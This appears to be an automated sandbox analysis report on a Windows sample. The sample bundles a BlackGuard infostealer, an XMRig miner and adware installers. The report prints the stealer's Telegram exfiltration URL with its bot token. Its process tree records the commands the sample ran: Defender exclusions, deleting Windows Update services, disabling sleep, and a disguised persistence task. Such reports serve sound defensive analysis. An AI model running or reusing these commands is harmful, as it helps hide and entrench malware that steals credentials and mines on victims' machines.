Analysis
- max time kernel
119s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20241007-en - resource tags
- submitted
30/12/2024, 01:32
General
- Target 9f3b062a0f8caf16be80ac44ade55a8b8e8928ef87ae909f5d6d52aa44208193.exe
- Size 39.9MB
- Sample241230-byb98atkhv
- SHA256 9f3b062a0f8caf16be80ac44ade55a8b8e8928ef87ae909f5d6d52aa44208193
Malware Config
Extracted
-
blackguard
-
https://api.telegram.org/bot6540906397:AAG08fPgT-V7I17vtz49STaZEuwqXqKshuM/sendMessage?chat_id=5445185021
Signatures
- BlackGuard
Infostealer first seen in Late 2021.
- Blackguard family
- Modifies security service 2 TTPs 5 IoCs
- Suspicious use of NtCreateUserProcessOtherParentProcess 11 IoCs
- Xmrig family
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 3 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Using powershell.exe command.
- Downloads MZ/PE file
- Drops file in Drivers directory 4 IoCs
- Stops running service(s) 4 TTPs
- Checks BIOS information in registry 2 TTPs 1 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Checks computer location settings 2 TTPs 6 IoCs
Looks up country code configured in the registry, likely geofence.
- Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Executes dropped EXE 45 IoCs
- Loads dropped DLL 31 IoCs
- Modifies file permissions 1 TTPs 2 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Adds Run key to start application 2 TTPs 2 IoCs
- Checks for any installed AV software in registry 1 TTPs 6 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Enumerates connected drives 3 TTPs 4 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Modifies powershell logging option 1 TTPs
- Power Settings 1 TTPs 10 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
- Checks system information in the registry 2 TTPs 1 IoCs
System information is often read in order to detect sandboxing environments.
- Drops file in System32 directory 54 IoCs
- Suspicious use of SetThreadContext 2 IoCs
- UPX packed file 4 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Drops file in Program Files directory 64 IoCs
- Launches sc.exe 12 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 19 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Checks processor information in registry 2 TTPs 10 IoCs
Processor information is often read in order to detect sandboxing environments.
- Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
- Modifies data under HKEY_USERS 64 IoCs
- Modifies registry class 22 IoCs
- Modifies system certificate store 2 TTPs 22 IoCs
- Runs net.exe
- Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 2 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
-
C:\Users\Admin\AppData\Local\Temp\9f3b062a0f8caf16be80ac44ade55a8b8e8928ef87ae909f5d6d52aa44208193.exe"C:\Users\Admin\AppData\Local\Temp\9f3b062a0f8caf16be80ac44ade55a8b8e8928ef87ae909f5d6d52aa44208193.exe"2⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\3.exe"C:\Users\Admin\AppData\Local\Temp\3.exe"3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Users\Admin\AppData\Local\Temp\VegaStealer_v2.exe"C:\Users\Admin\AppData\Local\Temp\VegaStealer_v2.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\v2.exe"C:\Users\Admin\AppData\Local\Temp\v2.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Users\Admin\AppData\Local\Temp\CheatEngine75.exe"C:\Users\Admin\AppData\Local\Temp\CheatEngine75.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\is-BFLAT.tmp\CheatEngine75.tmp"C:\Users\Admin\AppData\Local\Temp\is-BFLAT.tmp\CheatEngine75.tmp" /SL5="$602CA,29079073,832512,C:\Users\Admin\AppData\Local\Temp\CheatEngine75.exe"4⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Checks for any installed AV software in registry
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Local\Temp\is-S3E0G.tmp\prod0_extract\saBSI.exe"C:\Users\Admin\AppData\Local\Temp\is-S3E0G.tmp\prod0_extract\saBSI.exe" /affid 91082 PaidDistribution=true CountryCode=GB5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies system certificate store
-
C:\Users\Admin\AppData\Local\Temp\is-S3E0G.tmp\prod0_extract\installer.exe"C:\Users\Admin\AppData\Local\Temp\is-S3E0G.tmp\prod0_extract\\installer.exe" /setOem:Affid=91082 /s /thirdparty /upgrade6⤵
- Executes dropped EXE
- Drops file in Program Files directory
-
C:\Program Files\McAfee\Temp2372092154\installer.exe"C:\Program Files\McAfee\Temp2372092154\installer.exe" /setOem:Affid=91082 /s /thirdparty /upgrade7⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Modifies registry class
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-S3E0G.tmp\prod1_extract\OperaSetup.exe"C:\Users\Admin\AppData\Local\Temp\is-S3E0G.tmp\prod1_extract\OperaSetup.exe" --silent --allusers=0 --otd=utm.medium:apb,utm.source:ais,utm.campaign:opera_new_a5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\7zS47FC4E48\setup.exeC:\Users\Admin\AppData\Local\Temp\7zS47FC4E48\setup.exe --silent --allusers=0 --otd=utm.medium:apb,utm.source:ais,utm.campaign:opera_new_a --server-tracking-blob=NDg5MmM0M2NiZmYxOTc2MjY3ZDE3MGIyMzA3NGYyODVjNDZhOGNmNjg5YTA1ZDg5NTRhNThiN2MxZWIzZDk4OTp7ImNvdW50cnkiOiJVUyIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijoib3BlcmEiLCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cyIsInRpbWVzdGFtcCI6IjE3MzUwMzgwMTIuNzc0NSIsInVzZXJhZ2VudCI6InB5dGhvbi1yZXF1ZXN0cy8yLjMyLjMiLCJ1dG0iOnt9LCJ1dWlkIjoiYWFmNjZmNDQtNWMyYy00ZmJmLTg0YmQtN2Y2OTE0MGY0MGRiIn0=6⤵
- Executes dropped EXE
- Loads dropped DLL
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Modifies system certificate store
-
C:\Users\Admin\AppData\Local\Temp\7zS47FC4E48\setup.exeC:\Users\Admin\AppData\Local\Temp\7zS47FC4E48\setup.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=115.0.5322.119 --initial-client-data=0x170,0x320,0x324,0x16c,0x328,0x71b39d44,0x71b39d50,0x71b39d5c7⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\setup.exe" --version7⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\7zS47FC4E48\setup.exe"C:\Users\Admin\AppData\Local\Temp\7zS47FC4E48\setup.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --showunbox=0 --installfolder="C:\Users\Admin\AppData\Local\Programs\Opera" --profile-folder --language=en --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=388 --package-dir-prefix="C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_20241230013341" --session-guid=56428e85-ef2b-4692-a912-4d801365cd6a --server-tracking-blob="NGEwNTZiMGVmZmM1MmRlYjUzNmQyNjkwMGU1OTc5ODUyN2U4ZjAwYTBlNDQ0NTQ4ZTA2NDk3ODQ2MmNmNjI5NTp7ImNvdW50cnkiOiJVUyIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cyIsInN5c3RlbSI6eyJwbGF0Zm9ybSI6eyJhcmNoIjoieDg2XzY0Iiwib3BzeXMiOiJXaW5kb3dzIiwib3BzeXMtdmVyc2lvbiI6IjEwIiwicGFja2FnZSI6IkVYRSJ9fSwidGltZXN0YW1wIjoiMTczNTAzODAxMi43NzQ1IiwidXNlcmFnZW50IjoicHl0aG9uLXJlcXVlc3RzLzIuMzIuMyIsInV0bSI6eyJjYW1wYWlnbiI6Im9wZXJhX25ld19hIiwibWVkaXVtIjoiYXBiIiwic291cmNlIjoiYWlzIn0sInV1aWQiOiJhYWY2NmY0NC01YzJjLTRmYmYtODRiZC03ZjY5MTQwZjQwZGIifQ== " --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=78050000000000007⤵
- Executes dropped EXE
- Loads dropped DLL
- Enumerates connected drives
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\7zS47FC4E48\setup.exeC:\Users\Admin\AppData\Local\Temp\7zS47FC4E48\setup.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=115.0.5322.119 --initial-client-data=0x328,0x32c,0x330,0x2fc,0x334,0x70af9d44,0x70af9d50,0x70af9d5c8⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202412300133411\assistant\Assistant_114.0.5282.21_Setup.exe_sfx.exe"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202412300133411\assistant\Assistant_114.0.5282.21_Setup.exe_sfx.exe"7⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202412300133411\assistant\assistant_installer.exe"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202412300133411\assistant\assistant_installer.exe" --version7⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202412300133411\assistant\assistant_installer.exe"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202412300133411\assistant\assistant_installer.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=114.0.5282.21 --initial-client-data=0x224,0x228,0x22c,0x200,0x230,0x4c17a0,0x4c17ac,0x4c17b88⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-S3E0G.tmp\prod2.exe"C:\Users\Admin\AppData\Local\Temp\is-S3E0G.tmp\prod2.exe" -ip:"dui=896de533-e5fb-4eb9-8f2b-d363f3584dc5&dit=20241230013313&is_silent=true&oc=ZB_RAV_Cross_Tri_NCB&p=cdc2&a=100&b=&se=true" -vp:"dui=896de533-e5fb-4eb9-8f2b-d363f3584dc5&dit=20241230013313&oc=ZB_RAV_Cross_Tri_NCB&p=cdc2&a=100&oip=26&ptl=7&dta=true" -dp:"dui=896de533-e5fb-4eb9-8f2b-d363f3584dc5&dit=20241230013313&oc=ZB_RAV_Cross_Tri_NCB&p=cdc2&a=100" -i -v -d -se=true5⤵
- Checks computer location settings
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\4dssvkjw.exe"C:\Users\Admin\AppData\Local\Temp\4dssvkjw.exe" /silent6⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\7zS4F5EA478\UnifiedStub-installer.exe.\UnifiedStub-installer.exe /silent7⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Modifies system certificate store
-
C:\Program Files\ReasonLabs\Common\rsSyncSvc.exe"C:\Program Files\ReasonLabs\Common\rsSyncSvc.exe" -i -bn:ReasonLabs -pn:EPP -lpn:rav_antivirus -url:https://update.reasonsecurity.com/v2/live -dt:108⤵
- Executes dropped EXE
-
-
C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" setupapi.dll,InstallHinfSection DefaultInstall 128 C:\Program Files\ReasonLabs\EPP\x64\rsKernelEngine.inf8⤵
- Adds Run key to start application
-
C:\Windows\system32\runonce.exe"C:\Windows\system32\runonce.exe" -r9⤵
- Checks processor information in registry
-
C:\Windows\System32\grpconv.exe"C:\Windows\System32\grpconv.exe" -o10⤵
-
-
-
-
C:\Windows\system32\wevtutil.exe"C:\Windows\system32\wevtutil.exe" im C:\Program Files\ReasonLabs\EPP\x64\rsKernelEngineEvents.xml8⤵
-
-
C:\Windows\SYSTEM32\fltmc.exe"fltmc.exe" load rsKernelEngine8⤵
- Suspicious behavior: LoadsDriver
-
-
C:\Windows\system32\wevtutil.exe"C:\Windows\system32\wevtutil.exe" im C:\Program Files\ReasonLabs\EPP\x64\elam\evntdrv.xml8⤵
-
-
C:\Program Files\ReasonLabs\EPP\rsWSC.exe"C:\Program Files\ReasonLabs\EPP\rsWSC.exe" -i8⤵
- Executes dropped EXE
- Modifies system certificate store
-
-
C:\Program Files\ReasonLabs\EPP\rsClientSvc.exe"C:\Program Files\ReasonLabs\EPP\rsClientSvc.exe" -i8⤵
- Executes dropped EXE
-
-
C:\Program Files\ReasonLabs\EPP\rsEngineSvc.exe"C:\Program Files\ReasonLabs\EPP\rsEngineSvc.exe" -i8⤵
- Executes dropped EXE
-
-
C:\Program Files\ReasonLabs\EDR\rsEDRSvc.exe"C:\Program Files\ReasonLabs\EDR\rsEDRSvc.exe" -i8⤵
- Executes dropped EXE
-
-
C:\Program Files\ReasonLabs\VPN\rsVPNClientSvc.exe"C:\Program Files\ReasonLabs\VPN\rsVPNClientSvc.exe" -i -i8⤵
- Executes dropped EXE
-
-
C:\Program Files\ReasonLabs\VPN\rsVPNSvc.exe"C:\Program Files\ReasonLabs\VPN\rsVPNSvc.exe" -i -i8⤵
- Executes dropped EXE
-
-
C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" setupapi.dll,InstallHinfSection DefaultInstall 128 C:\Program Files\ReasonLabs\DNS\rsDwf.inf8⤵
- Adds Run key to start application
-
C:\Windows\system32\runonce.exe"C:\Windows\system32\runonce.exe" -r9⤵
- Checks processor information in registry
-
C:\Windows\System32\grpconv.exe"C:\Windows\System32\grpconv.exe" -o10⤵
-
-
-
-
C:\Program Files\ReasonLabs\DNS\rsDNSClientSvc.exe"C:\Program Files\ReasonLabs\DNS\rsDNSClientSvc.exe" -i8⤵
-
-
C:\Program Files\ReasonLabs\DNS\rsDNSResolver.exe"C:\Program Files\ReasonLabs\DNS\rsDNSResolver.exe" -service install8⤵
-
-
C:\Program Files\ReasonLabs\DNS\rsDNSSvc.exe"C:\Program Files\ReasonLabs\DNS\rsDNSSvc.exe" -i8⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-S3E0G.tmp\CheatEngine75.exe"C:\Users\Admin\AppData\Local\Temp\is-S3E0G.tmp\CheatEngine75.exe" /VERYSILENT /ZBDIST5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\is-UE284.tmp\CheatEngine75.tmp"C:\Users\Admin\AppData\Local\Temp\is-UE284.tmp\CheatEngine75.tmp" /SL5="$20266,26511452,832512,C:\Users\Admin\AppData\Local\Temp\is-S3E0G.tmp\CheatEngine75.exe" /VERYSILENT /ZBDIST6⤵
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of FindShellTrayWindow
-
C:\Windows\SYSTEM32\net.exe"net" stop BadlionAntic7⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BadlionAntic8⤵
-
-
-
C:\Windows\SYSTEM32\net.exe"net" stop BadlionAnticheat7⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BadlionAnticheat8⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc" delete BadlionAntic7⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc" delete BadlionAnticheat7⤵
- Launches sc.exe
-
-
C:\Users\Admin\AppData\Local\Temp\is-MA920.tmp\_isetup\_setup64.tmphelper 105 0x4487⤵
- Executes dropped EXE
-
-
C:\Windows\system32\icacls.exe"icacls" "C:\Program Files\Cheat Engine 7.5" /grant *S-1-15-2-1:(OI)(CI)(RX)7⤵
- Modifies file permissions
-
-
C:\Program Files\Cheat Engine 7.5\Kernelmoduleunloader.exe"C:\Program Files\Cheat Engine 7.5\Kernelmoduleunloader.exe" /SETUP7⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Program Files\Cheat Engine 7.5\windowsrepair.exe"C:\Program Files\Cheat Engine 7.5\windowsrepair.exe" /s7⤵
- Executes dropped EXE
-
-
C:\Windows\system32\icacls.exe"icacls" "C:\Program Files\Cheat Engine 7.5" /grant *S-1-15-2-1:(OI)(CI)(RX)7⤵
- Modifies file permissions
-
-
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#zfjwxc#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#tugby#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
- Power Settings
-
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
- Power Settings
-
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
- Power Settings
-
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
- Power Settings
-
-
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe ubulqosn2⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"3⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
-
-
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe vgyegivgfazcjxdl 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPrOXm4kGtEn/ZgPyjiDYwe/zRLKpUXs5FnM1Cz+lDKtsCEDVmxImOWutHy/wWAAF6uYRISXHrJSUiB0oBkYNVSVc+Z5TfdaGGtLWt9rhn1IwMTF8FurdYcS6sHeOOKov7n8fO9XzXfUsz+ohQT/DgIOyRpUwzATAbwxDv0BlAH+ISI2MOv7cXgWh/hEHn9UpTLH2AUxVXP8zWMLLWvPHAJe2SIfhjGncq3xQ+gVn+I4NKh77PPjDPgwHNzByaS5XiUtDR8Md5EhmkOEwD9v8Eh4nbJIewLTK837YGsKnb02yQo3e+jdFtCWzMfMeobPaXFvrKzv2emNNnxavmVO2FkfkcC1DvbnhN7NqgiVLh1FnuRerr7Rs9GSm8wk3eogEBuxtyJF/l7QvFFEn+PmzyQ6wNeX5T4KpCB8N2LdQ7qGf0xREtOLrL2we+R3IiFUCw/PgUnlB9aOUvPUntLmUYwnVg3n39kwuMDyHF7sntpqwSQW5ruNhQsPrhI9EqpLJ48=2⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
-
